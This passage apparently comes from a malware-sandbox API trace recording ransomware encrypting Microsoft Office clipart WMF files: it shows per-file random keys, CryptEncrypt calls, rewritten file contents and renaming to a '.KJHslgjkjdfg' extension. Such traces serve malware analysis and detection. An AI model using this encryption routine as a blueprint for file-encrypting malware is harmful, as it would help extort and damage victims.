GetProcessHeap () returned 0x990000 [0192.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.963] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.963] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.963] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.963] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.963] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.963] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.963] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.963] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.963] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1364, lpOverlapped=0x0) returned 1 [0192.964] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0192.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.965] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0192.965] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.965] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.965] SetEndOfFile (hFile=0x130) returned 1 [0192.968] GetProcessHeap () returned 0x990000 [0192.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.968] GetProcessHeap () returned 0x990000 [0192.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.kjhslgjkjdfg")) returned 1 [0192.969] CloseHandle (hObject=0x130) returned 1 [0192.969] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0192.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.970] GetProcessHeap () returned 0x990000 [0192.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.970] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.972] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.972] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.972] GetProcessHeap () returned 0x990000 [0192.972] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.972] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.972] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.972] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.973] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.973] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.973] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.973] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.973] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.973] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.973] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1364, lpOverlapped=0x0) returned 1 [0192.974] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0192.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.975] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0192.975] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.975] SetEndOfFile (hFile=0x130) returned 1 [0192.978] GetProcessHeap () returned 0x990000 [0192.978] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.978] GetProcessHeap () returned 0x990000 [0192.978] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.kjhslgjkjdfg")) returned 1 [0192.979] CloseHandle (hObject=0x130) returned 1 [0192.979] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0192.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.980] GetProcessHeap () returned 0x990000 [0192.980] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.980] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.980] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.980] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.980] GetProcessHeap () returned 0x990000 [0192.980] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.980] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.980] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.980] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.984] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.984] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.984] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.984] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.984] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1210, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1210, lpOverlapped=0x0) returned 1 [0192.985] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1210, dwBufLen=0x1210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1210) returned 1 [0192.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.985] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1210, lpOverlapped=0x0) returned 1 [0192.986] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.986] SetEndOfFile (hFile=0x130) returned 1 [0192.988] GetProcessHeap () returned 0x990000 [0192.988] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.989] GetProcessHeap () returned 0x990000 [0192.989] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.kjhslgjkjdfg")) returned 1 [0192.990] CloseHandle (hObject=0x130) returned 1 [0192.990] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0192.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.991] GetProcessHeap () returned 0x990000 [0192.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.991] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.991] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.994] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.994] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.994] GetProcessHeap () returned 0x990000 [0192.994] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.994] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.994] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.994] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.994] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.994] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.994] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.994] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.994] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.994] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.995] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16f8, lpOverlapped=0x0) returned 1 [0192.995] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1700, dwBufLen=0x1700 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1700) returned 1 [0192.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.996] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1700, lpOverlapped=0x0) returned 1 [0192.996] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.996] SetEndOfFile (hFile=0x130) returned 1 [0193.008] GetProcessHeap () returned 0x990000 [0193.008] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.008] GetProcessHeap () returned 0x990000 [0193.008] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.kjhslgjkjdfg")) returned 1 [0193.009] CloseHandle (hObject=0x130) returned 1 [0193.010] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0193.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.010] GetProcessHeap () returned 0x990000 [0193.010] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.010] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.011] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.013] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.013] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.013] GetProcessHeap () returned 0x990000 [0193.013] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.013] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.013] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.013] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.013] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.014] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.014] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, 